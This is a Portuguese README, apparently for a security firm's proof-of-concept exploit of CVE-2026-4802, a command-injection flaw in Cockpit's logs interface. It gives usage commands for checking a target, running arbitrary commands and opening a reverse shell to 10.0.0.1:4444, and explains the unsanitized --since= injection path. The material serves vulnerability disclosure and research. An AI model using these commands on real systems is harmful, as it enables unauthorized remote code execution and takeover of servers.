hakaioffsec/cve-2026-4802Prova de conceito de exploit para CVE-2026-4802, uma vulnerabilidade de injeção de comandos na interface de logs do sistema do Cockpit, que permite execução arbitrária de comandos e shells reversos.
Um exploit de prova de conceito para CVE-2026-4802, uma Execução Remota de Código via Injeção de Comandos na interface de logs do sistema do Cockpit (loadServiceFilters())
Compile e execute o ambiente vulnerável:
$ docker build -t cockpit-vuln .
$ docker run --rm -d --privileged -p 9090:9090 cockpit-vuln
# Verificar se o alvo é vulnerável
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode check
# Executar comandos arbitrários
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode exec --cmd "id"
# Reverse shell
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode reverse --lhost 10.0.0.1 --lport 4444
pkg/systemd/logsJournal.jsx)A função loadServiceFilters() em pkg/systemd/logsJournal.jsx constrói comandos de shell unindo arrays em strings com apenas escape de espaços antes de passá-los para /bin/bash -ec. Parâmetros controlados pelo usuário provenientes do fragmento de URL da página de logs (ex.: --since=) chegam a esse caminho de código sem sanitização, permitindo a injeção de metacaracteres de shell, como substituição de comandos ($(...)).
Esta ferramenta é apenas para fins educacionais e de pesquisa. Utilize-a somente em sistemas que você possui ou para os quais tenha permissão explícita de teste. O autor não é responsável por qualquer uso indevido ou dano causado por este programa.
QuimeraX Intelligence é uma plataforma avançada de EASM e Inteligência de Ameaças Cibernéticas especializada em identificar vulnerabilidades críticas em sistemas complexos. A plataforma monitora, detecta e alerta clientes sobre ameaças de segurança de forma proativa, garantindo transparência e resposta rápida a riscos potenciais. Os clientes recebem notificações imediatas e relatórios abrangentes se seus sistemas forem considerados vulneráveis, permitindo que tomem medidas de proteção. saiba mais
Hakai Security é uma empresa de cibersegurança fundada por profissionais de segurança, comprometida com a excelência técnica. Oferecemos soluções de segurança personalizadas, incluindo testes de penetração avançados, simulações realistas de Red Team e práticas de desenvolvimento seguro para proteger proativamente os ativos de nossos clientes contra ameaças cibernéticas em evolução.